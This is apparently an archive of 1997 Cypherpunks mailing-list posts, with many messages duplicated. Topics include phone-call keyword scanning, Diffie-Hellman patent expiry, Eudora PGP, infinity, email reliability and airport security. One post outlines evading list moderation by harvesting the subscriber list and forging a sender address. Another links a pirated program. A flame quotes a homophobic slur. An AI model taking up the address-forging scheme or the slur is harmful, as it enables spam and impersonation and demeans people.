Connected-word is a lot harder.

But word-scanning isn't the only thing "They" would troll for -
it's probably easier to look for possible matches for specific voices,
since you don't have to be too accurate.  You want to catch
Big Joey's calls from Vinnie, but don't care about his wife's calls.

Some of the problems are with modeling speech well enough to 
do good algorithms; some are just getting enough horsepower to do it
in real time.  Can "They" afford enough DSP chips to do the job?
They certainly can't follow a significant fraction of domestic traffic,
and probably not even of US-to-overseas international traffic,
but they may be able to pick out calls to/from phones of usual suspects,
at least if they're mainly trying to filter for what tapes to listen to.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:27:44 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <199701201827.KAA15122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of 
>keyword-scanning phone conversations.  He thought it was probably still 
>beyond the reach of current technology, I thought it wasn't 

I'd guess it's in-between, and it depends a _lot_ on how error-tolerant
you are - do you want to catch them _all_, or just reduce the
set of tapes that you'll have humans listen to later, since you're
trolling for leads but don't mind missing the occasional one?
Speaker-dependent isolated-word recognition is pretty doable.  
Speaker-independent small-vocabulary isolated-word is also pretty good 
(though the AT&T calling-card bot does a better job when I read it numbers 
than when I rapidly tell it "calling card" early in its dialog.)  
Connected-word is a lot harder.

But word-scanning isn't the only thing "They" would troll for -
it's probably easier to look for possible matches for specific voices,
since you don't have to be too accurate.  You want to catch
Big Joey's calls from Vinnie, but don't care about his wife's calls.

Some of the problems are with modeling speech well enough to 
do good algorithms; some are just getting enough horsepower to do it
in real time.  Can "They" afford enough DSP chips to do the job?
They certainly can't follow a significant fraction of domestic traffic,
and probably not even of US-to-overseas international traffic,
but they may be able to pick out calls to/from phones of usual suspects,
at least if they're mainly trying to filter for what tapes to listen to.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:45:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Eudora PGP
Message-ID: <3.0.1.32.19970120085423.04f5b050@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:07 AM 1/18/97 -0800, Some Anonymous Remailer User wrote:
>If somebody wants to play with the new Eudora PGP
>but don't have Eudora Pro 3.0, it is available at
>ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Rather than ripping off a commercial product,
from a company that's nice enough to give away free versions,
you can get Eudora Lite 3.0.1 from www.eudora.com;
I haven't yet installed PGPmail with it, but it should work,
and meanwhile it's nicely junking the more common flamers.
It is a beta version, but there should be another out soon.

>Btw, is it legal for a moderator to let messages
>like this one through to the list...?

This list isn't currently moderated.  The legality if it were
is unclear.
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:10:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Eudora PGP
Message-ID: <199701201810.KAA14867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:07 AM 1/18/97 -0800, Some Anonymous Remailer User wrote:
>If somebody wants to play with the new Eudora PGP
>but don't have Eudora Pro 3.0, it is available at
>ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Rather than ripping off a commercial product,
from a company that's nice enough to give away free versions,
you can get Eudora Lite 3.0.1 from www.eudora.com;
I haven't yet installed PGPmail with it, but it should work,
and meanwhile it's nicely junking the more common flamers.
It is a beta version, but there should be another out soon.

>Btw, is it legal for a moderator to let messages
>like this one through to the list...?

This list isn't currently moderated.  The legality if it were
is unclear.
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Dierks <timd@consensus.com>
Date: Mon, 20 Jan 1997 11:13:00 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701201913.LAA15649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:24 AM -0500 1/20/97, Amanda Walker wrote:
>Please excuse if this is a FAQ.
>
>I'd been operating under the assumption that the Diffie-Hellman patent
>(4200770) will expire on April 29, 1997 (17 years after the date of issue).
>Several people have recently told me it doesn't expire until September,
>evidently confusing the date of issue with the filing date.  However,
>does anyone know of another patent (Hellman-Merkle, perhaps?) that would hve
>an impact on software that does D-H key exchange?  We've got some planned
>uses
>of DH; while it doesn't seem cost effective to pay to license DH at this
>point, that six-month difference is something I need to plan around if
>necessary.

As a result of the GATT treaty, patent expiration times for some US patents
changed. The international standard is 20 years from filing, while old US
law was 17 years from issue. On the day which GATT took force for the US
(June 8, 1995), all outstanding patents' expiration dates were changed to
20 years from filing or 17 years from issue, whichever is later. This
affects some cryptography patents as follows:

Here's a summary of some relevant crypto patents:

 Name             Number     Filed          Issued          Expires

Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000

Data from <http://patents.cnidr.org/patbib_index.html>

References:
	<http://www.lightlink.com/bbm/gatt.html>
	<http://www.cushman.com/articles/artpat10.htm>

 - Tim

Tim Dierks - timd@consensus.com - www.consensus.com
     Software Haruspex - Consensus Development
  Developer of SSL Plus: SSL 3.0 Integration Suite







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:18:27 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
Message-ID: <3.0.1.32.19970120101512.04f5d958@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:21:13 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: INV_ade
Message-ID: <3.0.1.32.19970120101722.04f5a7c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 11:14:36 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: INV_ade
Message-ID: <199701201914.LAA15675@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Mon, 20 Jan 1997 07:27:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: infinity & set membership
Message-ID: <9700208537.AA853784822@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



>The argument I supplied earlier for the rational nature of 0.1234...
>still holds.

>Math Man

Aleph-Naught bottles of beer on the wall. 
Aleph-Naught bottles of beer.
If some finite subset should happen to fall,
There'll be Aleph-Naught bottles of beer on the wall.

For those really long road trips, or when you choose to read all the cypherpunks
traffic.

James

Q 1. Describe the history of the papacy from its origins to the present day,
commenting specifically but not exclusively on its effects on the development of
14th century South America. Describe in detail. Be brief concise and specific.
Give examples.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Mon, 20 Jan 1997 08:27:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: infinity & set membership
Message-ID: <199701201627.IAA12857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>The argument I supplied earlier for the rational nature of 0.1234...
>still holds.

>Math Man

Aleph-Naught bottles of beer on the wall. 
Aleph-Naught bottles of beer.
If some finite subset should happen to fall,
There'll be Aleph-Naught bottles of beer on the wall.

For those really long road trips, or when you choose to read all the cypherpunks
traffic.

James

Q 1. Describe the history of the papacy from its origins to the present day,
commenting specifically but not exclusively on its effects on the development of
14th century South America. Describe in detail. Be brief concise and specific.
Give examples.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 20 Jan 1997 07:33:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNS_top
Message-ID: <1.5.4.32.19970120152824.0068df5c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


01-16-97. Reuters:
 
"Unstoppable Internet will defy controls"

 Governments which seek to restrain the freedom of speech and tax 
 the vast electronic commerce spawned by the Internet will almost certainly 
 be wasting their time, experts say, and that any attempt to control 
 traffic over the Internet will be futile. Governments in China, Burma and 
 Singapore have already tried to discipline this on-line activity with 
 minimal success.

 Dr Bob Glass of Sun Microsystems Inc said any attempt by governments to 
 curtail any of this would be a waste of time. Not even the most powerful 
 computers will be able to effectively patrol the world's telephone lines. 
 Individual computer experts will always be one step ahead.

 "Big brother is out there trying to monitor this, but I don't think they're
 competent enough," he said. "Government is not really aware of the
 magnitude of money exchange on the web, but there's really not much they
 can do about it."

 Professor Patrick Purcell from London's Imperial College describes the
 Internet as a highly subversive phenomenom for international
 telecommunications, for a nation's state security and for international
 commerce.

-----

UNS_top





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 20 Jan 1997 08:31:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: UNS_top
Message-ID: <199701201631.IAA12930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


01-16-97. Reuters:
 
"Unstoppable Internet will defy controls"

 Governments which seek to restrain the freedom of speech and tax 
 the vast electronic commerce spawned by the Internet will almost certainly 
 be wasting their time, experts say, and that any attempt to control 
 traffic over the Internet will be futile. Governments in China, Burma and 
 Singapore have already tried to discipline this on-line activity with 
 minimal success.

 Dr Bob Glass of Sun Microsystems Inc said any attempt by governments to 
 curtail any of this would be a waste of time. Not even the most powerful 
 computers will be able to effectively patrol the world's telephone lines. 
 Individual computer experts will always be one step ahead.

 "Big brother is out there trying to monitor this, but I don't think they're
 competent enough," he said. "Government is not really aware of the
 magnitude of money exchange on the web, but there's really not much they
 can do about it."

 Professor Patrick Purcell from London's Imperial College describes the
 Internet as a highly subversive phenomenom for international
 telecommunications, for a nation's state security and for international
 commerce.

-----

UNS_top






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 20 Jan 1997 10:28:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701201628.IAA12866@toad.com>
Message-ID: <199701201828.KAA15491@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > If infinity does not have predecessors (ie is immune to
 > normal arithmetic operations) then it is not possible for a
 > sequence to approach it by adding a finite amount to
 > succesive terms in order to approach it. This means that a
 > sequence can not meaningfuly be asymptotic with infinity
 > (meaning I have to be able to draw a asymptote, at least in
 > theory, in order to demonstrate the limit).

 > If infinity is not a number, how is it possible to have a
 > definite number (ie transfinite) which is larger than it?

 > My contention is that number theory as you present it is
 > playing fast and loose with the concept of infinity not
 > being a number or visa versa.

The problem here is that the terms "infinity" and "number" are
used to refer to many different things in mathematics.  We use
"infinity" as a term for transfinite Cardinals and Ordinals, but
also use it when describing convergence on the reals, to indicate
that a sequence increases without bound.  We use it in calculus
to describe the limits of integration over all real numbers, a
set which does not include any infinite numbers at all.

Similar we use the term "number" to refer to Cardinals, Ordinals,
Reals, Integers, Complex, Quaternians, or whatever, hoping that
what we mean by it will be clear from the context.

With respect to the Real numbers, infinity is not a number, but
simply a way of saying something increases without bound or that
we wish to include all the positive or negative reals when
performing some mathematical operation.

With regard to Ordinals and Cardinals, not only is infinity a
number, but there are an uncountable number of different
infinities, which cannot be placed in 1-1 correspondence with
each other.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 11:13:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201913.LAA15647@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > If infinity does not have predecessors (ie is immune to
 > normal arithmetic operations) then it is not possible for a
 > sequence to approach it by adding a finite amount to
 > succesive terms in order to approach it. This means that a
 > sequence can not meaningfuly be asymptotic with infinity
 > (meaning I have to be able to draw a asymptote, at least in
 > theory, in order to demonstrate the limit).

 > If infinity is not a number, how is it possible to have a
 > definite number (ie transfinite) which is larger than it?

 > My contention is that number theory as you present it is
 > playing fast and loose with the concept of infinity not
 > being a number or visa versa.

The problem here is that the terms "infinity" and "number" are
used to refer to many different things in mathematics.  We use
"infinity" as a term for transfinite Cardinals and Ordinals, but
also use it when describing convergence on the reals, to indicate
that a sequence increases without bound.  We use it in calculus
to describe the limits of integration over all real numbers, a
set which does not include any infinite numbers at all.

Similar we use the term "number" to refer to Cardinals, Ordinals,
Reals, Integers, Complex, Quaternians, or whatever, hoping that
what we mean by it will be clear from the context.

With respect to the Real numbers, infinity is not a number, but
simply a way of saying something increases without bound or that
we wish to include all the positive or negative reals when
performing some mathematical operation.

With regard to Ordinals and Cardinals, not only is infinity a
number, but there are an uncountable number of different
infinities, which cannot be placed in 1-1 correspondence with
each other.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 11:33:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <v03007810af0960a6b85c@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:19 PM -0800 1/19/97, WinSock Remailer wrote:
>Bill Frantz <frantz@netcom.com> writes:
>
>> I hope if such a system is set up, people who use it will realize that
>> email is not 100% reliable.  Just because algebra.com sent mail to
>> toad.com, doesn't mean that toad.com actually received it.  A small
>> fraction of a percent of these messages will be lost.
>
>Failing something catastrophic like a disk failure or a host down for
>more than a week, this should not be the case.  Almost every site
>running sendmail has the Os ("SuperSafe") option set.  That means
>sendmail will not respond to a "." at the end of a DATA command with
>SMTP code 250 until it has written the incoming message (and queue
>info) to disk and called fsync.  Thus, you may get 2 copies of a
>message, but mail messages should not just disappear regularly at all,
>even if the network goes down or a machine crashes.
>
>Non-sendmail MTA's tend to be even more strict about this, not even
>allowing this behavior to be disabled.

About 9 months ago, I lost somewhere between 50 and 100 email messages
because they were written to a disk with a corrupted file system.  Now
failures of this kind may be in the category of "catastrophic disk
failure", but in my unfortunate experience, they are not all that uncommon.

Note that since I lost multiple messages due to one failure, tests of the
form, "Once is happenstance, twice coincidence, three or more is
conspiracy" might say, "conspiracy" even for just one failure.  The chances
of this test criteria error increase for frequent posters.

At 4:02 AM -0800 1/20/97, Toto asked:
>  Are there any critereon established, yet, as to what type of content
>will be necessary for a letter to get 'lost'?

See the above discussion of disk failure.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 13:42:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
Message-ID: <199701202142.NAA19130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:19 PM -0800 1/19/97, WinSock Remailer wrote:
>Bill Frantz <frantz@netcom.com> writes:
>
>> I hope if such a system is set up, people who use it will realize that
>> email is not 100% reliable.  Just because algebra.com sent mail to
>> toad.com, doesn't mean that toad.com actually received it.  A small
>> fraction of a percent of these messages will be lost.
>
>Failing something catastrophic like a disk failure or a host down for
>more than a week, this should not be the case.  Almost every site
>running sendmail has the Os ("SuperSafe") option set.  That means
>sendmail will not respond to a "." at the end of a DATA command with
>SMTP code 250 until it has written the incoming message (and queue
>info) to disk and called fsync.  Thus, you may get 2 copies of a
>message, but mail messages should not just disappear regularly at all,
>even if the network goes down or a machine crashes.
>
>Non-sendmail MTA's tend to be even more strict about this, not even
>allowing this behavior to be disabled.

About 9 months ago, I lost somewhere between 50 and 100 email messages
because they were written to a disk with a corrupted file system.  Now
failures of this kind may be in the category of "catastrophic disk
failure", but in my unfortunate experience, they are not all that uncommon.

Note that since I lost multiple messages due to one failure, tests of the
form, "Once is happenstance, twice coincidence, three or more is
conspiracy" might say, "conspiracy" even for just one failure.  The chances
of this test criteria error increase for frequent posters.

At 4:02 AM -0800 1/20/97, Toto asked:
>  Are there any critereon established, yet, as to what type of content
>will be necessary for a letter to get 'lost'?

See the above discussion of disk failure.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 11:35:09 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701201612.IAA12435@toad.com>
Message-ID: <v03007813af096f7633a7@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 PM -0800 1/16/97, Adam Back wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:39 AM -0800 1/16/97, Adam Back wrote:
>> >- PIN for phone's RSA signature keys
>>
>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

I have not seen the production box, I am going from my memory of Eric's
preproduction description at a meeting last spring.  I hope someone who
knows what they are talking about will butt in here if I am wrong.

The box has a 3 or 4 digit display which displays "something" about the
3DES key, where "something" is some of the bits, or a hash, or ...  With 3
decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
caught.

-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 13:42:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701202142.NAA19098@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 PM -0800 1/16/97, Adam Back wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:39 AM -0800 1/16/97, Adam Back wrote:
>> >- PIN for phone's RSA signature keys
>>
>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

I have not seen the production box, I am going from my memory of Eric's
preproduction description at a meeting last spring.  I hope someone who
knows what they are talking about will butt in here if I am wrong.

The box has a 3 or 4 digit display which displays "something" about the
3DES key, where "something" is some of the bits, or a hash, or ...  With 3
decimal digits, a MIM attacker has a 999 out of 1000 chance of getting
caught.

-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: abostick@netcom.com (Alan Bostick)
Date: Mon, 20 Jan 1997 15:17:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701200614.WAA01733@toad.com>
Message-ID: <yH84y8m9LIhS085yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


What started this thread off was Lucky Green's observation of the beerkegs
getting through the security checkpoints at the Oakland Airport.

Just yesterday I flew from Seattle's Sea-Tac Airport to Oakland, on 
Southwest Airlines.  My partner and I were (we thought) checking in just
in time to  be in the second boarding group. (Explanation of Southwest's
lo-tech allocation of seat choice elided).  An unacompanied woman was
the next person ahead of us in the line.

She presented the gate agent with *four* tickets and *four* IDs.  "Where
are these other people?" the agent asked.  "They're parking the car,"
said the traveler.  The agent gave her all four boarding passes; and my
companion and I were bumped to the third boarding group.

The woman in front of us was white and middle-class-looking, traveling
with what appeared to be her family.  One wonders what would have
happened were she a swarthy man wearing robes and a burnoose.  Or if she
were just wearing shabby clothes. 


-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Mon, 20 Jan 1997 16:40:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210040.QAA24710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


What started this thread off was Lucky Green's observation of the beerkegs
getting through the security checkpoints at the Oakland Airport.

Just yesterday I flew from Seattle's Sea-Tac Airport to Oakland, on 
Southwest Airlines.  My partner and I were (we thought) checking in just
in time to  be in the second boarding group. (Explanation of Southwest's
lo-tech allocation of seat choice elided).  An unacompanied woman was
the next person ahead of us in the line.

She presented the gate agent with *four* tickets and *four* IDs.  "Where
are these other people?" the agent asked.  "They're parking the car,"
said the traveler.  The agent gave her all four boarding passes; and my
companion and I were bumped to the third boarding group.

The woman in front of us was white and middle-class-looking, traveling
with what appeared to be her family.  One wonders what would have
happened were she a swarthy man wearing robes and a burnoose.  Or if she
were just wearing shabby clothes. 


-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Schroeppel <rcs@cs.arizona.edu>
Date: Mon, 20 Jan 1997 11:16:25 -0800 (PST)
To: amanda@intercon.com
Subject: DHM patent
Message-ID: <199701201916.LAA15703@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


re: A.Walker's query about expiration date of DH patent.

(I'm not a lawyer: This is just my opinion.  Get advice from a professional
for making your business decisions.)

A couple of years ago, as part of the legislation implementing the
GATT treaty, Congress changed the patent lifetime.  The old rule was
17 years from grant date; the new rule is 20 years from filing date.
There were various transition rules; one was that holders of current
patents could select either rule.  Presumably they will choose the
rule that gives the later expiration date.  In the case of the DHM
patent #4200770, this gives then a few more months, to Sept. 6 1997.

Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)

There is also a patent by Hellman & Merkle that seems to deal with
the (busted) knapsack cryptosystem.  It's number 4218582, filed
Oct 6, 1977, granted Aug 19, 1980.  My cursory reading shows that
it includes the math both for knapsack crypto and for doing
modular exponentiation.  It might be a good idea to look this over
to make sure it doesn't affect your plans.

Rich Schroeppel   rcs@cs.arizona.edu






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Amanda Walker <amanda@intercon.com>
Date: Mon, 20 Jan 1997 10:12:41 -0800 (PST)
To: cryptography@c2.net
Subject: Question on Diffie-Hellman patent
Message-ID: <199701201812.KAA14890@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please excuse if this is a FAQ.

I'd been operating under the assumption that the Diffie-Hellman patent
(4200770) will expire on April 29, 1997 (17 years after the date of issue).
Several people have recently told me it doesn't expire until September,
evidently confusing the date of issue with the filing date.  However,
does anyone know of another patent (Hellman-Merkle, perhaps?) that would hve 
an impact on software that does D-H key exchange?  We've got some planned uses 
of DH; while it doesn't seem cost effective to pay to license DH at this 
point, that six-month difference is something I need to plan around if 
necessary.


Thanks,

Amanda Walker
Senior Software Engineer
InterCon Systems Corporation






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 11:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: a comment of Vulis's
Message-ID: <199701201925.LAA15760@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr Vulis made a comment that there was the threat of persons in favor of the
moderator being able to get away with slander while those victims being
unable to respond.  I assume that the moderator will refrain from such
action, but if something were actually cut, I could get it through anyway.
At least until majordomo is secured against such intrusion.

The list won't be truly secure until no one can request the subscription list.
If I felt that I needed to get my message past the moderator, I would just
request the complete listing of cypherpunks subscribers, copy that into the
Bcc: field of eudora, and forge an address.  Now my message would get
through, my computer would probably be tied up for an hour or so
distributing my statement, but my message would get through.
The security necessary to counteract this would be to either make the
subscription list unavailable, or delete the actual addresses from the list.
For instance Sean Roach <roach_s@alph.swosu.edu> would become Sean Roach.
Now people could still see who was on the list, but couldn't use it to
negate the established distribution system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:44:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: a comment of Vulis's
Message-ID: <199701202144.NAA19211@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr Vulis made a comment that there was the threat of persons in favor of the
moderator being able to get away with slander while those victims being
unable to respond.  I assume that the moderator will refrain from such
action, but if something were actually cut, I could get it through anyway.
At least until majordomo is secured against such intrusion.

The list won't be truly secure until no one can request the subscription list.
If I felt that I needed to get my message past the moderator, I would just
request the complete listing of cypherpunks subscribers, copy that into the
Bcc: field of eudora, and forge an address.  Now my message would get
through, my computer would probably be tied up for an hour or so
distributing my statement, but my message would get through.
The security necessary to counteract this would be to either make the
subscription list unavailable, or delete the actual addresses from the list.
For instance Sean Roach <roach_s@alph.swosu.edu> would become Sean Roach.
Now people could still see who was on the list, but couldn't use it to
negate the established distribution system.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 11:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [FLAME] [PURE VITROL] Re: IMDMP: SOURCE...
Message-ID: <199701201925.LAA15771@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:05 PM 1/18/97 EST, Dr.Dimitri Vulis wrote:
>> Non sequitor.
>            ^
>Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

I'm a heterosexual, so I may be off the mark here, but.  Reguarding my
history books, Mr. Hoover (can't remember his first name), of F.B.I. fame, a
reported homosexual, was one of the biggest gaybashers of his era.  By your
acidic comments, are you trying to tell us something?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 11:48:15 -0800 (PST)
To: Alan <alano@linda.teleport.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <Pine.GSO.3.95.970118145332.29052B-100000@linda.teleport.com>
Message-ID: <199701201946.LAA14921@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[microcurrency]
>It will also not catch on until there are better standards involving
>microcurrency transactions amongst the vendors.  It would also help if
>there was a single interface (or "helper app") for whatever vendor you
>decided to go with.

as I see it, I think there are a few key standards that need 
to be devised: 

